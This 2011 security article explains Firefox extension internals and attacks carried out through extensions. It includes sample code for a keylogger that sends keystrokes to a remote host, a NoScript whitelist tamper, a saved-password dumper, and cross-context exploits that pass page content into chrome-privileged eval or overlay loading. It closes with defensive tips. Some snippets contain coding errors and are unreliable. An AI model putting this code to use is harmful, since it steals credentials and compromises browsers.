Mozilla Firefox Internals & Attack Strategies

April 10, 2011, by | Start Discussion


This paper aims to detail some of the techniques and methods that exist to subvert a fully patched and functioning browser Firefox. This aims to provide insight to developers and end users on some methodologies which could be used by malicious users. We will understand some of the basic important components that make up the Mozilla platform and various attacks that can be targeted against it.
Firefox is a trusted browsing platform used by millions across the globe. It is a platform that is used by experts and novices. One of the biggest advantages and reason for massive success of Mozilla is an extensible plug-in model which allows the developers add additional features to the Mozilla Firefox environment than what was perceived by the original writers. Our topic of discussion is focused around these extension modules and how a malicious

developer can use some of these powerful features to subvert a Firefox and the underlying systems.  The Code of extension runs with the same privilege that the browser enjoys.

Let’s begin with a very brief idea of some of the important components that make a Firefox extension.
* This is for ff3.6 and not yet tested with ff4.

Chrome
Chrome is used to indicate a special trust zone within Firefox; Firefox extensions that run in this zone enjoy a whole lot of trust by the browser.
Chrome resources are defined by use of a special URL scheme “chrome: //”   Example: chrome://messenger/content/messenger.xul

XUL
XUL (XML User Interface Language) is Mozilla's XML-based language that lets you build feature-rich cross platform applications that can run connected or disconnected from the Internet. XUL overlays are a way of extending the user interface and behavior. For example is the new menu item or a button on status bar.

XBL
XBL (XML Binding Language) allows the definition of new XML nodes/elements or custom tags. Custom tags can inherit processing logic. The connection between the new tag and the processing logic is called a binding. The object logic can be written to take advantage of any of the services available to the platform, including all the XPCOM objects and other custom tags that possess their own bindings. XML content and XPCOM can be tied together via an XBL binding. The “tabbed navigation” in Firefox is an example of XBL.

XPCOM
XPCOM is the lowest layer of the Mozilla platform architecture. XPCOM provides functionality and its extensions. XPCOM interfaces are used by the browser and extensions to provide multiple functionalities to the user.
XPCOM components can be built in many programming languages some are C++, Python, and Java. XPconnect is the JavaScript interface to XPCOM objects. Extensions can create new components after installation.

Each one of these components can be used by malicious user for his gains. 


The Full Mozilla Components Map

Extensions Installation
Firefox extension which is commonly known with an extension of “XPI” is nothing but a Zipped Archive. This means a user can use any unzip solution like “winzip” to effectively examine the contents of an extension.

Extensions can be downloaded from “https://addons.mozilla.org/en-US/firefox/”. There exists a peer review of extensions performed before Mozilla places the extension on its site. But the point of concern is that security testing is not of utmost importance for testers. The second issue that has surfaced is the possibility of extensions which are hosted at Mozilla but without code review.These are mostly experimental in nature. The sheer number of extensions is overwhelming.Today the number of extensions has crossed more than 2 billion and  growing.

 XPI file can be hosted on any website and can be downloaded and installed on the target system. Any malicious user with some social engineering experience can easily convince a user to use his XPI. The other aspect I would like to bring to notice is the fact that many organizations seem to offer extensions like a DLP solutions company offering an extension to scan outgoing data via Firefox extensions. The question then remains as to who performs analysis of these extensions.

The third method of installation is in the way Mozilla provides a method where a filename with id of the extension and the contents of the file stores the location were the extension files are stored this file has to be stored in the extensions folder of Mozilla which is typically in program-files folder or the Mozilla directory in the profiles directory. When Mozilla restarts it automatically installs the extension no questions asked.

A startling find that I made when working with Mozilla extensions is that the extension executable scripts could be stored on a remote machine in a share.

By default Mozilla does not allow files to be loaded from network but if it is a mapped drive then Mozilla treats it like a local disk and goes ahead and installs the extension. This functionality can be abused. Worst case scenario I could imagine is attacks by a malicious USB injecting a simple text file into a victim machine and the text file pointing to a malicious code on a remote zip drive. This same activity could be performed by a malicious Active directory administrator owing browser rights across the enterprise.

Though a code review is performed by Mozilla before getting the add-ons published on their site, some of the concerns that exist are

  • The add-on is not signed as of today.
  • The sheer number of add-on is overwhelming.
  • The ease of making an add-on could add to the problem.
  • The availability of experimental add-ons and extension that have not gone through the review process.
  • Future upgrades to an add-on could add some malicious content.


Extensions are everywhere

Attacking Firefox
In the second part of this paper we will focus on attacking  Firefox in this section we will discuss how easy it is to build  malicious extensions and then go on to discuss cross context switching(xcs).

Malicious Extensions
To keep this paper short I will discuss

  • How to build a Key logger with XMLHTTP and event listener
  • How to build an extension that writes a malicious site to “No-Script” white list.
  • How to build an extension that steals stored passwords.

Key Logger
We can create a simple key logger by just using event listener which will record all keystrokes and then use XMLHTTP request to a remote site. The point to note here is that extensions don’t follow single origin policy thus an extension that records a password from your banking site can send it to a malicious site.
Code:-
document.addEventListener("keypress", onkey,false);
var keys='';
function onkey(e){
keyss+=String.fromCharCode(e.charCode);
if (keys.length>20){
http=new XMLHttpRequest();
url = "http://***********.com/prasannak/ler****.php?keylog="+keyss+"n";
http.open("GET",url,false);
http.send(null);
keyss='';

No-Script Bypass
We will use XPCOM classes and components to add a malicious site to no-script white list which will effectively  render no-script protection useless?

let Sub_btn = {
  onCommand: function(event) {

var perfs = Components.classes["@mozilla.org/preferences-service;1"].
                  getService(Components.interfaces.nsIPrefService);
perfs = perfs.getBranch("capability.policy.maonoscript.");
perfs.setCharPref("sites", "default noscript whitelisted sites + -iblocked.com");

Password Stealer
We will use XPCOM classes and components to build a Firefox stored password stealer.Code:-

let HelloWorld = {
  onCommand: function(event) {
var l2m = Components.classes["@mozilla.org/login-manager;1"].
                  getService(Components.interfaces.nsILoginManager);
alltheinfo = l2m.getAllLogins({});
for (i=0; I<=alltheinfo.length;i=i+1){
alert(alltheinfo[i].password)
}
  }
};

These were some of the sample malicious scripts that were scripted using basic and legal functions approved by Mozilla to produce some very malicious extensions. The malicious extensions are limited only to the imagination of a malicious creator.

Cross Context Switching (XCS)
The attack (xcs) was first found by “pdp”. This was found against an extension called sage. XCS involves a concept of making malicious code moving from one realm to the other, like a code in the website being executed by the resident extension. A major harm caused by such an attack would be that a user could be compromised by just visiting the web location.

Attacking DOM & Event Handlers
Event handlers implement the properties attributes and behavior of an element. When a DOM element is dragged and drooped it takes with it the attributes properties and behavior with it. This could be a maliciously used if an extension code trusted the code that was dropped by a malicious DOM element.

CreateEvent() could be used to send custom events which could also include the extensions itself.  In this example we will create an extension which listens for customs events and does certain activity like loading a dynamic XUL.

This could be exploited by a malicious user by making the user go to a page controlled by him which has code create a custom event to send the location of the malicious XUL hosted by him.

The extension on receiving the event loads the Malicious XUL from an arbiter location and as the XUL file now runs as part of Chrome it is free to do any malicious activity like the ones discussed in the previous section “Malicious Extensions”

As of Firefox version 3.5 “loadoverlay ” function does not take “http” based Xul requests but does allow XUL from “Chrome:\”. Though this fixes the problem of a malicious user loading malicious content from internet but the threat of loading malicious XUL from a Map Drive still exists.

Code:-

Extension XUL Code

<script>
  var customExtension = {
  customListener: function(evt) {
  document.loadOverlay(evt.target.getAttribute("url"), null);
  }
  }
document.addEventListener("CustomEvent", function(e) {
customExtension.customListener(e); }, false, true);
</script>
Malicious Web Location Code
<html>
<head>
<title>Test</title>
<script>
var element = document.createElement("CustomExtensionDataElement");
element.setAttribute("url", "chrome://hellooworld/content/q1.xul");
document.documentElement.appendChild(element);
var evt = document.createEvent("Events");
evt.initEvent("CustomEvent", true,false);
element.dispatchEvent(evt);
</script>
</head>
<body>
<p>
This Test Page </p>
</body>
</htmL>

Bypassing Wrappers
Multiple wrappers exist within Mozilla framework that acts as firewalls segregating the code from different zones. A developer, for ease of use could bypass these firewalls thus compromising the Firefox eco-system to malicious XCS attacks.

We will create a Firefox extension that bypasses such a wrapper using the “wrappedJSObject” to access variables in the document Zone and use this content in the privileged chrome zone. The extension developer uses another potentially vulnerable function “eval()”. He grabs the content from document and runs it through eval() in the chrome zone which allow a malicious user to inject malicious JavaScript code that will be executed by the eval function.
Code:-

Extension Code

function Test_Function()
{
    test = my_message
    if (test==null)
    {
      alert("Wrapper Exists")
    }
    else{
    alert(test);
    trim = window.content.wrappedJSObject.my_message1
    eval(trim);
    }
}

Malicious Website Code

<html>
<head>
<title>Test</title>
<script>
var dir= "123";
my_message1="eval("eval(dirService = Components.classes['@mozilla.org/file/directory_service;1'].getService(Components.interfaces.nsIProperties);))eval( homeDirFile = dirService.get('Home', Components.interfaces.nsIFile);) eval(homeDir = homeDirFile.path;) eval(alert(homeDir);))"))"
</script>
</head>
<body>
<p>
This Test Page </p>
</body>
</htmL>

Protection for end Users
Some points that end users can keep mind for keeping their Firefox environment safe are:-

  • Suspicious single file(s) in the extension folder.
  • XPI are archives – can be un-Zipped and checked for any packaged executables
  • Check  the install.rdf for common pitfalls mainly <em:hidden>
  • Verify chrome.manifest does not point to other extension folders as it can overwrite functionality.

Measures that Developers can take:- 

  • That’s a whole paper by itself
  • Don’t bypass wrappers
  • Don’t trust content from the un-trusted context.
  • Don’t use eval()

Follow this link:
https://developer.mozilla.org/en/Security_best_practices_in_extensions

Last Words
In this paper we discussed some components that make the Firefox extensions. This by far is not the end with new features like the skins extensions that don’t need a re-start bring newer problems. I believe Firefox is a powerful system that  could be used both good and bad. It helps for users to be a bit cautious when using new extensions and developers when developing new extension should take care to avoid known pitfalls.

 

This paper is largely based on research performed by Roberto Suggi Liverani and Nick Freeman of Security- Assessment.com in 2009/2010.Further details regarding their research into Firefox extensions and their vulnerabilities can be found at the following locations:

References:
https://developer.mozilla.org/en/Extensions
http://security-assessment.com/files/documents/whitepapers/Cross_Context…
http://security-assessment.com/files/documents/whitepapers/Exploiting_Cr…
http://security-assessment.com/files/documents/presentations/liverani_fr…
http://www.leogas.net/lugext/
http://forums.mozillazine.org/viewforum.php?

Prasanna Kanagasabai is an independent Information Security researcher who enjoys the nuances of information security. He is an active member of “DeadPixel” Security group which is a association like minded professionals who enjoy Information security and would like to share knowledge in the group to the benefit of one and all.

Leave a Reply